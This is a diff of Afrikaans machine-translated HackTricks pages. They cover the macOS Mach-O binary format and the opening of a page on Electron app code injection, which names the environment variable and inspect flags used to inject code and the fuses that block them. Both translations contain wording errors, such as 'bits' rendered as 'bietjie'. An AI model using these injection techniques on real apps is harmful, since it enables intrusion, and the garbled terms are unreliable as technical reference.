|
||||
Soek na die lêer met: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
|
||||
|
||||
|
@ -35,56 +35,56 @@ Soek na die lêer met: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
|
|||
</strong>
|
||||
struct fat_header {
|
||||
<strong> uint32_t magic; /* FAT_MAGIC or FAT_MAGIC_64 */
|
||||
</strong><strong> uint32_t nfat_arch; /* aantal structs wat volg */
|
||||
</strong><strong> uint32_t nfat_arch; /* aantal strukture wat volg */
|
||||
</strong>};
|
||||
|
||||
struct fat_arch {
|
||||
cpu_type_t cputype; /* cpu-spesifiseerder (int) */
|
||||
cpu_subtype_t cpusubtype; /* masjien-spesifiseerder (int) */
|
||||
cpu_type_t cputype; /* cpu spesifiseerder (int) */
|
||||
cpu_subtype_t cpusubtype; /* masjien spesifiseerder (int) */
|
||||
uint32_t offset; /* lêeroffset na hierdie objeklêer */
|
||||
uint32_t size; /* grootte van hierdie objeklêer */
|
||||
uint32_t align; /* uitlyning as 'n mag van 2 */
|
||||
uint32_t align; /* uitlyn as 'n mag van 2 */
|
||||
};
|
||||
</code></pre>
|
||||
|
||||
Die kop het die **magic**-byte gevolg deur die **aantal** **argitekture** wat die lêer **bevat** (`nfat_arch`) en elke argitektuur sal 'n `fat_arch`-struktuur hê.
|
||||
Die kop het die **magic**-byte gevolg deur die **aantal** **argitekture** wat die lêer **bevat** (`nfat_arch`) en elke argitektuur sal 'n `fat_arch` struktuur hê.
|
||||
|
||||
Kyk daarna met:
|
||||
Kontroleer dit met:
|
||||
|
||||
<pre class="language-shell-session"><code class="lang-shell-session">% file /bin/ls
|
||||
/bin/ls: Mach-O universele bineêre lêer met 2 argitekture: [x86_64:Mach-O 64-bit uitvoerbare x86_64] [arm64e:Mach-O 64-bit uitvoerbare arm64e]
|
||||
/bin/ls (vir argitektuur x86_64): Mach-O 64-bit uitvoerbare x86_64
|
||||
/bin/ls (vir argitektuur arm64e): Mach-O 64-bit uitvoerbare arm64e
|
||||
/bin/ls: Mach-O universele bineêre met 2 argitekture: [x86_64:Mach-O 64-bietjie uitvoerbare x86_64] [arm64e:Mach-O 64-bietjie uitvoerbare arm64e]
|
||||
/bin/ls (vir argitektuur x86_64): Mach-O 64-bietjie uitvoerbare x86_64
|
||||
/bin/ls (vir argitektuur arm64e): Mach-O 64-bietjie uitvoerbare arm64e
|
||||
|
||||
% otool -f -v /bin/ls
|
||||
Fat-koppe
|
||||
Vet koppe
|
||||
fat_magic FAT_MAGIC
|
||||
<strong>nfat_arch 2
|
||||
</strong><strong>argitektuur x86_64
|
||||
</strong> cputype CPU_TYPE_X86_64
|
||||
cpusubtype CPU_SUBTYPE_X86_64_ALL
|
||||
</strong> cputipe CPU_TYPE_X86_64
|
||||
cpusubtipe CPU_SUBTYPE_X86_64_ALL
|
||||
vermoëns 0x0
|
||||
<strong> offset 16384
|
||||
</strong><strong> grootte 72896
|
||||
</strong> uitlyning 2^14 (16384)
|
||||
</strong> uitlyn 2^14 (16384)
|
||||
<strong>argitektuur arm64e
|
||||
</strong> cputype CPU_TYPE_ARM64
|
||||
cpusubtype CPU_SUBTYPE_ARM64E
|
||||
</strong> cputipe CPU_TYPE_ARM64
|
||||
cpusubtipe CPU_SUBTYPE_ARM64E
|
||||
vermoëns PTR_AUTH_VERSION USERSPACE 0
|
||||
<strong> offset 98304
|
||||
</strong><strong> grootte 88816
|
||||
</strong> uitlyning 2^14 (16384)
|
||||
</strong> uitlyn 2^14 (16384)
|
||||
</code></pre>
|
||||
|
||||
of deur die [Mach-O View](https://sourceforge.net/projects/machoview/) hulpmiddel te gebruik:
|
||||
of deur die [Mach-O View](https://sourceforge.net/projects/machoview/) gereedskap te gebruik:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Soos jy dalk dink, verdubbel 'n universele bineêre lêer wat vir 2 argitekture saamgestel is, gewoonlik die grootte van een wat slegs vir 1 argitektuur saamgestel is.
|
||||
Soos jy dalk dink, verdubbel 'n universele bineêre wat vir 2 argitekture saamgestel is die grootte van een wat net vir 1 argitektuur saamgestel is.
|
||||
|
||||
## **Mach-O Kop**
|
||||
|
||||
Die kop bevat basiese inligting oor die lêer, soos magiese byte om dit as 'n Mach-O-lêer te identifiseer en inligting oor die teikenargitektuur. Jy kan dit vind in: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
Die kop bevat basiese inligting oor die lêer, soos die magiese byte om dit as 'n Mach-O-lêer te identifiseer en inligting oor die teikenargitektuur. Jy kan dit vind in: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
```c
|
||||
#define MH_MAGIC 0xfeedface /* the mach magic number */
|
||||
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
|
||||
|
@ -113,9 +113,9 @@ uint32_t reserved; /* reserved */
|
|||
```
|
||||
**Lêertipes**:
|
||||
|
||||
* MH\_EXECUTE (0x2): Standaard Mach-O uitvoerbare lêer
|
||||
* MH\_DYLIB (0x6): 'n Mach-O dinamiese gekoppelde biblioteek (d.w.s. .dylib)
|
||||
* MH\_BUNDLE (0x8): 'n Mach-O bundel (d.w.s. .bundle)
|
||||
* MH\_EXECUTE (0x2): Standaard Mach-O-uitvoerbaar
|
||||
* MH\_DYLIB (0x6): 'n Mach-O dinamies gekoppelde biblioteek (d.w.s. .dylib)
|
||||
* MH\_BUNDLE (0x8): 'n Mach-O-bundel (d.w.s. .bundle)
|
||||
```bash
|
||||
# Checking the mac header of a binary
|
||||
otool -arch arm64e -hv /bin/ls
|
||||
|
@ -129,39 +129,39 @@ Of deur [Mach-O View](https://sourceforge.net/projects/machoview/) te gebruik:
|
|||
|
||||
## **Mach-O Laai-opdragte**
|
||||
|
||||
Die **lêer se uitleg in geheue** word hier gespesifiseer, waar die **simbooltabel se ligging**, die konteks van die hoofdraad by uitvoering begin, en die vereiste **gedeelde biblioteke** beskryf word. Instruksies word aan die dinamiese laaier **(dyld)** verskaf oor die proses van die binêre lading in geheue.
|
||||
Die **lêer se uitleg in geheue** word hier gespesifiseer, met inligting oor die **simbooltabel se ligging**, die konteks van die hoofdraad by die begin van die uitvoering, en die vereiste **gedeelde biblioteke**. Instruksies word aan die dinamiese laaier **(dyld)** verskaf oor die binêre laaiingsproses in geheue.
|
||||
|
||||
Dit maak gebruik van die **load\_command** struktuur, wat gedefinieer is in die genoemde **`loader.h`**:
|
||||
Die gebruik die **load\_command** struktuur, gedefinieer in die genoemde **`loader.h`**:
|
||||
```objectivec
|
||||
struct load_command {
|
||||
uint32_t cmd; /* type of load command */
|
||||
uint32_t cmdsize; /* total size of command in bytes */
|
||||
};
|
||||
```
|
||||
Daar is ongeveer **50 verskillende tipes laai-opdragte** wat die stelsel verskillend hanteer. Die mees algemene is: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB`, en `LC_CODE_SIGNATURE`.
|
||||
Daar is ongeveer **50 verskillende tipes laai-opdragte** wat die stelsel anders hanteer. Die mees algemene is: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB`, en `LC_CODE_SIGNATURE`.
|
||||
|
||||
### **LC\_SEGMENT/LC\_SEGMENT\_64**
|
||||
|
||||
{% hint style="success" %}
|
||||
Basies definieer hierdie tipe Laai-opdrag hoe om die \_\_TEXT (uitvoerbare kode) en \_\_DATA (data vir die proses) segmente te laai volgens die verskuiwings wat in die Data-afdeling aangedui word wanneer die binêre lêer uitgevoer word.
|
||||
Hierdie tipe Laai-opdrag definieer **hoe om die \_\_TEXT** (uitvoerbare kode) **en \_\_DATA** (data vir die proses) **segmente** te laai volgens die **offsets aangedui in die Data-afdeling** wanneer die binêre lêer uitgevoer word.
|
||||
{% endhint %}
|
||||
|
||||
Hierdie opdragte definieer segmente wat in die virtuele geheue-ruimte van 'n proses gekaart word wanneer dit uitgevoer word.
|
||||
Hierdie opdragte **definieer segmente** wat in die **virtuele geheue-ruimte** van 'n proses ingevoeg word wanneer dit uitgevoer word.
|
||||
|
||||
Daar is verskillende tipes segmente, soos die \_\_TEXT-segment wat die uitvoerbare kode van 'n program bevat, en die \_\_DATA-segment wat data bevat wat deur die proses gebruik word. Hierdie segmente is geleë in die data-afdeling van die Mach-O-lêer.
|
||||
Daar is **verskillende tipes** segmente, soos die **\_\_TEXT** segment, wat die uitvoerbare kode van 'n program bevat, en die **\_\_DATA** segment, wat data bevat wat deur die proses gebruik word. Hierdie **segmente is geleë in die data-afdeling** van die Mach-O lêer.
|
||||
|
||||
**Elke segment** kan verder verdeel word in verskeie **seksies**. Die laai-opdragstruktuur bevat inligting oor hierdie seksies binne die betrokke segment.
|
||||
**Elke segment** kan verder verdeel word in verskeie **seksies**. Die **laai-opdragstruktuur** bevat **inligting** oor **hierdie seksies** binne die betrokke segment.
|
||||
|
||||
In die kop vind jy eers die **segmentkop**:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* vir 64-bis-argitekture */
|
||||
uint32_t cmd; /* LC_SEGMENT_64 */
|
||||
uint32_t cmdsize; /* sluit sizeof section_64-strukture in */
|
||||
uint32_t cmdsize; /* sluit die grootte van section_64 strukture in */
|
||||
char segname[16]; /* segmentnaam */
|
||||
uint64_t vmaddr; /* geheue-adres van hierdie segment */
|
||||
uint64_t vmsize; /* geheuegrootte van hierdie segment */
|
||||
uint64_t fileoff; /* lêer-verskuiwing van hierdie segment */
|
||||
uint64_t filesize; /* hoeveelheid om van die lêer af te kaart */
|
||||
uint64_t fileoff; /* lêer-offset van hierdie segment */
|
||||
uint64_t filesize; /* hoeveelheid om van die lêer af te beeld */
|
||||
int32_t maxprot; /* maksimum VM-beskerming */
|
||||
int32_t initprot; /* aanvanklike VM-beskerming */
|
||||
<strong> uint32_t nsects; /* aantal seksies in segment */
|
||||
|
@ -169,7 +169,7 @@ int32_t initprot; /* aanvanklike VM-beskerming */
|
|||
};
|
||||
</code></pre>
|
||||
|
||||
Voorbeeld van 'n segmentkop:
|
||||
Voorbeeld van segmentkop:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -190,52 +190,52 @@ uint32_t reserved2; /* reserved (for count or sizeof) */
|
|||
uint32_t reserved3; /* reserved */
|
||||
};
|
||||
```
|
||||
Voorbeeld van **seksie kop**:
|
||||
Voorbeeld van **afdeling kop**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy die **seksie offset** (0x37DC) byvoeg by die **offset** waar die **argitektuur begin**, in hierdie geval `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
As jy die **afdeling offset** (0x37DC) + die **offset** waar die **arg begin**, in hierdie geval `0x18000` byvoeg --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dit is ook moontlik om **koppe-inligting** vanaf die **opdraglyn** te kry met:
|
||||
Dit is ook moontlik om **koppe-inligting** van die **opdraglyn** te kry met:
|
||||
```bash
|
||||
otool -lv /bin/ls
|
||||
```
|
||||
Gemeenskaplike segmente gelaai deur hierdie opdrag:
|
||||
Gemeenskaplike segmente wat deur hierdie cmd gelaai word:
|
||||
|
||||
* **`__PAGEZERO`:** Dit instrueer die kernel om die **adres nul** te **kaart** sodat dit **nie gelees, geskryf of uitgevoer kan word nie**. Die maxprot en minprot veranderlikes in die struktuur word op nul gestel om aan te dui dat daar **geen lees-skryf-uitvoerregte op hierdie bladsy is nie**.
|
||||
* Hierdie toewysing is belangrik om **NULL-aanwyservolgordekwesbaarhede te verminder**.
|
||||
* **`__TEXT`**: Bevat **uitvoerbare** **kode** met **lees** en **uitvoer** regte (nie skryfbaar)**.** Gemeenskaplike afdelings van hierdie segment:
|
||||
* `__text`: Opgestelde binêre kode
|
||||
* `__const`: Konstante data
|
||||
* `__cstring`: String konstante
|
||||
* `__stubs` en `__stubs_helper`: Betrokke tydens die dinamiese biblioteeklaaiproses
|
||||
* **`__DATA`**: Bevat data wat **leesbaar** en **skryfbaar** is (nie uitvoerbaar)**.**
|
||||
* `__data`: Globale veranderlikes (wat geïnisialiseer is)
|
||||
* `__bss`: Statische veranderlikes (wat nie geïnisialiseer is nie)
|
||||
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, ens.): Inligting wat deur die Objective-C runtime gebruik word
|
||||
* **`__LINKEDIT`**: Bevat inligting vir die linker (dyld) soos "simbool-, string- en herlokasietabelinskrywings".
|
||||
* **`__OBJC`**: Bevat inligting wat deur die Objective-C runtime gebruik word. Hierdie inligting kan egter ook in die \_\_DATA-segment gevind word, binne verskillende \_\_objc\_\*-afdelings.
|
||||
- **`__PAGEZERO`:** Dit instrueer die kernel om die **adres nul** te **kaart** sodat dit **nie gelees, geskryf of uitgevoer kan word nie**. Die maxprot en minprot veranderlikes in die struktuur word na nul ingestel om aan te dui dat daar **geen lees-skrif-uitvoer regte op hierdie bladsy** is.
|
||||
- Hierdie toewysing is belangrik om **NULL-aanwyservaringskwakbaarhede te verminder**.
|
||||
- **`__TEXT`**: Bevat **uitvoerbare** **kode** met **lees** en **uitvoer** toestemmings (nie skryfbaar)**.** Gewone dele van hierdie segment:
|
||||
- `__text`: Opgestelde binêre kode
|
||||
- `__const`: Konstante data
|
||||
- `__cstring`: String konstantes
|
||||
- `__stubs` en `__stubs_helper`: Betrokke tydens die dinamiese biblioteeklaaiproses
|
||||
- **`__DATA`**: Bevat data wat **leesbaar** en **skryfbaar** is (nie uitvoerbaar)**.**
|
||||
- `__data`: Globale veranderlikes (wat geïnisialiseer is)
|
||||
- `__bss`: Statiese veranderlikes (wat nie geïnisialiseer is nie)
|
||||
- `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, ens): Inligting wat deur die Objective-C-uitvoertyd gebruik word
|
||||
- **`__LINKEDIT`**: Bevat inligting vir die koppelaar (dyld) soos, "simbool, string, en herlokasie tabelle inskrywings."
|
||||
- **`__OBJC`**: Bevat inligting wat deur die Objective-C-uitvoertyd gebruik word. Hierdie inligting kan ook in die \_\_DATA segment gevind word, binne verskeie in \_\_objc\_\* afdelings.
|
||||
|
||||
### **`LC_MAIN`**
|
||||
|
||||
Bevat die ingangspunt in die **entryoff-eienskap**. By laai-tyd **voeg dyld** eenvoudig hierdie waarde by die (in-memory) **basis van die binêre**, en **spring** dan na hierdie instruksie om die uitvoering van die binêre se kode te begin.
|
||||
Bevat die ingangspunt in die **entryoff eienskap.** Tydens laaityd **voeg dyld** eenvoudig hierdie waarde by die (in-geheue) **basis van die binêre lêer**, en **spring** dan na hierdie instruksie om die uitvoering van die binêre se kode te begin.
|
||||
|
||||
### **LC\_CODE\_SIGNATURE**
|
||||
|
||||
Bevat inligting oor die **kodesignatuur van die Macho-O-lêer**. Dit bevat slegs 'n **verskuiwing** wat na die **handtekeningblob** wys. Dit is tipies aan die einde van die lêer.\
|
||||
U kan egter enkele inligting oor hierdie afdeling vind in [**hierdie blogpos**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) en hierdie [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
|
||||
Bevat inligting oor die **kodesignatuur van die Macho-O-lêer**. Dit bevat slegs 'n **verskuiwing** wat na die **handtekeningblob** **verwys**. Dit is tipies aan die einde van die lêer.\
|
||||
Nietemin kan jy enige inligting oor hierdie afdeling vind in [**hierdie blogpos**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) en hierdie [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
|
||||
|
||||
### **LC\_LOAD\_DYLINKER**
|
||||
|
||||
Bevat die **pad na die dinamiese skakeluitvoerder** wat gedeelde biblioteke in die prosesadresruimte in kaart bring. Die **waarde is altyd ingestel op `/usr/lib/dyld`**. Dit is belangrik om daarop te let dat in macOS, dylib-kartering in **gebruikersmodus** plaasvind, nie in kernelmodus nie.
|
||||
Bevat die **pad na die dinamiese koppelvlakuitvoerbare lêer** wat gedeelde biblioteke in die prosesadresruimte kaart. Die **waarde is altyd ingestel op `/usr/lib/dyld`**. Dit is belangrik om in ag te neem dat in macOS, dylib-kaarting in **gebruikermodus** plaasvind, nie in kernelmodus nie.
|
||||
|
||||
### **`LC_LOAD_DYLIB`**
|
||||
|
||||
Hierdie laaibedeling beskryf 'n **dinamiese** **biblioteek-afhanklikheid** wat die **laaier** (dyld) instrueer om genoemde biblioteek te **laai en te skakel**. Daar is 'n LC\_LOAD\_DYLIB laaibedeling **vir elke biblioteek** wat die Mach-O-binêre vereis.
|
||||
Hierdie laaikommando beskryf 'n **dinamiese** **biblioteek** afhanklikheid wat die **laaier** (dyld) **instrueer om genoemde biblioteek te laai en te skakel**. Daar is 'n LC\_LOAD\_DYLIB laaikommando **vir elke biblioteek** wat die Mach-O-binêre benodig.
|
||||
|
||||
* Hierdie laaibedeling is 'n struktuur van die tipe **`dylib_command`** (wat 'n struct dylib bevat wat die werklike afhanklike dinamiese biblioteek beskryf):
|
||||
- Hierdie laaikommando is 'n struktuur van die tipe **`dylib_command`** (wat 'n struct dylib bevat, wat die werklike afhanklike dinamiese biblioteek beskryf):
|
||||
```objectivec
|
||||
struct dylib_command {
|
||||
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
|
||||
|
@ -252,7 +252,7 @@ uint32_t compatibility_version; /* library's compatibility vers number*/
|
|||
```
|
||||
.png>)
|
||||
|
||||
Jy kan ook hierdie inligting kry vanaf die opdraglyn met:
|
||||
Jy kan ook hierdie inligting kry van die opdraggelynbalk met:
|
||||
```bash
|
||||
otool -L /bin/ls
|
||||
/bin/ls:
|
||||
|
@ -262,32 +262,32 @@ otool -L /bin/ls
|
|||
```
|
||||
Sommige potensiële kwaadwillige biblioteke is:
|
||||
|
||||
* **DiskArbitration**: Monitor USB-aandrywers
|
||||
* **AVFoundation:** Neem klank en video op
|
||||
* **DiskArbitration**: Monitering van USB-aandrywings
|
||||
* **AVFoundation:** Vang klank en video
|
||||
* **CoreWLAN**: Wifi-skanderings.
|
||||
|
||||
{% hint style="info" %}
|
||||
'n Mach-O binêre lêer kan een of **meer** **konstrukteurs** bevat wat **uitgevoer** sal word **voor** die adres wat in **LC\_MAIN** gespesifiseer is.\
|
||||
Die verskuiwings van enige konstrukteurs word in die **\_\_mod\_init\_func**-afdeling van die **\_\_DATA\_CONST**-segment gehou.
|
||||
'n Mach-O binêre lêer kan een of **meer konstruksies** bevat wat **uitgevoer sal word voor** die adres gespesifiseer in **LC\_MAIN**.\
|
||||
Die verskuiwings van enige konstruksies word in die **\_\_mod\_init\_func** afdeling van die **\_\_DATA\_CONST** segment gehou.
|
||||
{% endhint %}
|
||||
|
||||
## **Mach-O Data**
|
||||
|
||||
In die kern van die lêer lê die data-afdeling, wat bestaan uit verskeie segmente soos gedefinieer in die laai-opdragte-afdeling. **Verskeie data-afdelings kan binne elke segment gehuisves word**, met elke afdeling wat kode of data bevat wat spesifiek is vir 'n tipe.
|
||||
In die kern van die lêer lê die data-gebied, wat bestaan uit verskeie segmente soos gedefinieer in die laai-opdragte-gebied. **'n Verskeidenheid data-afdelings kan binne elke segment gehuisves word**, met elke afdeling wat kode of data spesifiek vir 'n tipe bevat.
|
||||
|
||||
{% hint style="success" %}
|
||||
Die data is basies die gedeelte wat al die **inligting** bevat wat deur die laai-opdragte **LC\_SEGMENTS\_64** gelaai word.
|
||||
{% endhint %}
|
||||
|
||||
 (3).png>)
|
||||
 (3).png>)
|
||||
|
||||
Dit sluit in:
|
||||
|
||||
* **Funksietabel:** Wat inligting oor die programfunksies bevat.
|
||||
* **Simbooltabel**: Wat inligting bevat oor die eksterne funksie wat deur die binêre gebruik word
|
||||
* **Funksie-tabel:** Wat inligting oor die programfunksies bevat.
|
||||
* **Simbooltabel**: Wat inligting oor die eksterne funksie bevat wat deur die binêre gebruik word
|
||||
* Dit kan ook interne funksie, veranderlike name en meer bevat.
|
||||
|
||||
Om dit te kontroleer, kan jy die [**Mach-O View**](https://sourceforge.net/projects/machoview/) hulpmiddel gebruik:
|
||||
Om dit te kontroleer kan jy die [**Mach-O View**](https://sourceforge.net/projects/machoview/) gereedskap gebruik:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -297,14 +297,14 @@ size -m /bin/ls
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,41 +1,41 @@
|
|||
# macOS Elektron Toepassingsinspuiting
|
||||
# macOS Electron-toepassingsinspuiting
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
As jy nie weet wat Electron is nie, kan jy [**baie inligting hier vind**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Maar vir nou weet net dat Electron **node** uitvoer.\
|
||||
En node het sekere **parameters** en **omgewingsveranderlikes** wat gebruik kan word om **ander kode uit te voer** as die aangeduide lêer.
|
||||
As jy nie weet wat Electron is nie, kan jy [**baie inligting hier vind**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Maar vir nou moet jy net weet dat Electron **node** laat loop.\
|
||||
En node het sekere **parameters** en **omgewingsveranderlikes** wat gebruik kan word om **dit ander kode te laat uitvoer** as die aangeduide lêer.
|
||||
|
||||
### Electron Smeltpunte
|
||||
### Electron-smeulstowwe
|
||||
|
||||
Hierdie tegnieke sal binnekort bespreek word, maar onlangs het Electron verskeie **sekuriteitsvlae bygevoeg om dit te voorkom**. Dit is die [**Electron Smeltpunte**](https://www.electronjs.org/docs/latest/tutorial/fuses) en dit is die eenhede wat gebruik word om te **voorkom** dat Electron-toepassings in macOS **arbitrêre kode laai**:
|
||||
Hierdie tegnieke sal binnekort bespreek word, maar onlangs het Electron verskeie **sekuriteitsvlaggies bygevoeg om hulle te voorkom**. Dit is die [**Electron-smeulstowwe**](https://www.electronjs.org/docs/latest/tutorial/fuses) en dit is diegene wat gebruik word om te voorkom dat Electron-toepassings in macOS **willekeurige kode laai**:
|
||||
|
||||
* **`RunAsNode`**: As dit gedeaktiveer is, voorkom dit die gebruik van die omgewingsveranderlike **`ELECTRON_RUN_AS_NODE`** om kode in te spuit.
|
||||
* **`EnableNodeCliInspectArguments`**: As dit gedeaktiveer is, sal parameters soos `--inspect`, `--inspect-brk` nie gerespekteer word nie. Dit voorkom sodoende die inspuiting van kode.
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**: As dit geaktiveer is, sal die gelaai **`asar`**-lêer deur macOS geverifieer word. Dit voorkom sodoende **kode-inspuiting** deur die inhoud van hierdie lêer te wysig.
|
||||
* **`OnlyLoadAppFromAsar`**: As dit geaktiveer is, sal dit slegs soek en gebruik maak van app.asar in plaas van die volgende volgorde: **`app.asar`**, **`app`** en uiteindelik **`default_app.asar`**. Dit verseker dat wanneer dit **gekombineer** word met die **`embeddedAsarIntegrityValidation`**-smeltpunt, dit **onmoontlik** is om nie-gevalideerde kode te laai nie.
|
||||
* **`LoadBrowserProcessSpecificV8Snapshot`**: As dit geaktiveer is, gebruik die blaaierproses die lêer genaamd `browser_v8_context_snapshot.bin` vir sy V8-snapshoot.
|
||||
* **`EnableNodeCliInspectArguments`**: As dit gedeaktiveer is, sal parameters soos `--inspect`, `--inspect-brk` nie gerespekteer word nie. Dit verhoed op hierdie manier kode-inspuiting.
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**: As dit geaktiveer is, sal die gelaai **`asar`-lêer** deur macOS **gevalideer** word. Dit verhoed op hierdie manier **kode-inspuiting** deur die inhoud van hierdie lêer te wysig.
|
||||
* **`OnlyLoadAppFromAsar`**: As dit geaktiveer is, in plaas van soek om in die volgende volgorde te laai: **`app.asar`**, **`app`** en uiteindelik **`default_app.asar`**. Dit sal net app.asar nagaan en gebruik, wat verseker dat wanneer dit **gekombineer** word met die **`embeddedAsarIntegrityValidation`**-smeul dit **onmoontlik** is om **nie-gevalideerde kode te laai**.
|
||||
* **`LoadBrowserProcessSpecificV8Snapshot`**: As dit geaktiveer is, gebruik die blaaierproses die lêer genaamd `browser_v8_context_snapshot.bin` vir sy V8-snapshot.
|
||||
|
||||
'n Ander interessante smeltpunt wat nie kode-inspuiting sal voorkom nie, is:
|
||||
'n Ander interessante smeul wat nie kode-inspuiting sal voorkom nie, is:
|
||||
|
||||
* **EnableCookieEncryption**: As dit geaktiveer is, word die koekie-stoor op skyf geënkripteer met behulp van kriptografiese sleutels op OS-vlak.
|
||||
* **EnableCookieEncryption**: As dit geaktiveer is, word die koekie-stoor op skyf versleutel met OS-vlak kriptografie sleutels.
|
||||
|
||||
### Kontroleer Electron Smeltpunte
|
||||
### Kontroleer Electron-smeulstowwe
|
||||
|
||||
